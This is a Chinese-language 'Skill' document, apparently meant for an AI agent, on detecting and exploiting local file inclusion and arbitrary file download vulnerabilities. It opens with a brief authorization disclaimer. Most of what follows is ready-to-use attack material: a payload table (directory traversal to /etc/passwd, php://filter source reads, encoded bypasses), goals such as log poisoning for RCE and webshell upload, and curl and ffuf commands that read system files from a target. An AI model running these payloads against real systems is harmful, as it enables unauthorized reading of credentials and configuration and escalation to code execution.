exploit-file-download

任意文件下载与 LFI 检测和利用

授权声明

本 Skill 仅用于授权安全测试。使用前请确保：

• 获得目标系统所有者的明确书面授权
• 测试范围和授权内容已明确定义
• 遵守当地法律法规

未经授权的渗透测试是非法行为。

---

概述

本 Skill 专注于任意文件下载和本地文件包含 (LFI) 类型漏洞的检测与利用。

注意：很多端点实际上是LFI 模式（参数值被当作文件名包含执行），而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力。

---

核心功能

1. LFI 漏洞检测

自动识别以下 LFI 特征：

• 文件包含模式：参数值被直接用作 include() 或require() 的文件路径
• 目录遍历模式：../ 序列用于遍历目录
• 伪协议利用：php://filter、php://input 等
• 路径长度限制：超长路径可能被截断
• 特殊字符：%00 空字节可能绕过扩展名检查

2. 常见 LFI Payload

类型	Payload	适用场景
文件包含	?title=index.php	简单文件包含测试
路径遍历	?title=../../../../etc/passwd	Linux 目录遍历
伪协议	?title=php://filter/convert.base64-encode/resource=/etc/passwd	读取敏感文件源码
Windows 路径	?title=C:\\Windows\\win.ini	Windows 文件读取
URL 编码	?title=%2e%2e%2f%2e%2e%2fetc/passwd	绕过简单过滤

3. LFI 利用场景

• 源码读取：读取 PHP 源码进行分析
• 配置获取：读取数据库配置文件
• 日志投毒：通过 LFI 写入日志获取 RCE
• 图片马：配合文件上传 getshell

---

工具安装

必备工具

# curl - HTTP 请求工具（通常已预装）
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

# wget - 文件下载工具（通常已预装）
# macOS
brew install wget

# Ubuntu/Debian
apt-get install wget

可选工具

# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt

# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

---

使用方式

快速开始

# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"

# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

场景 1: 基础路径遍历测试

# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"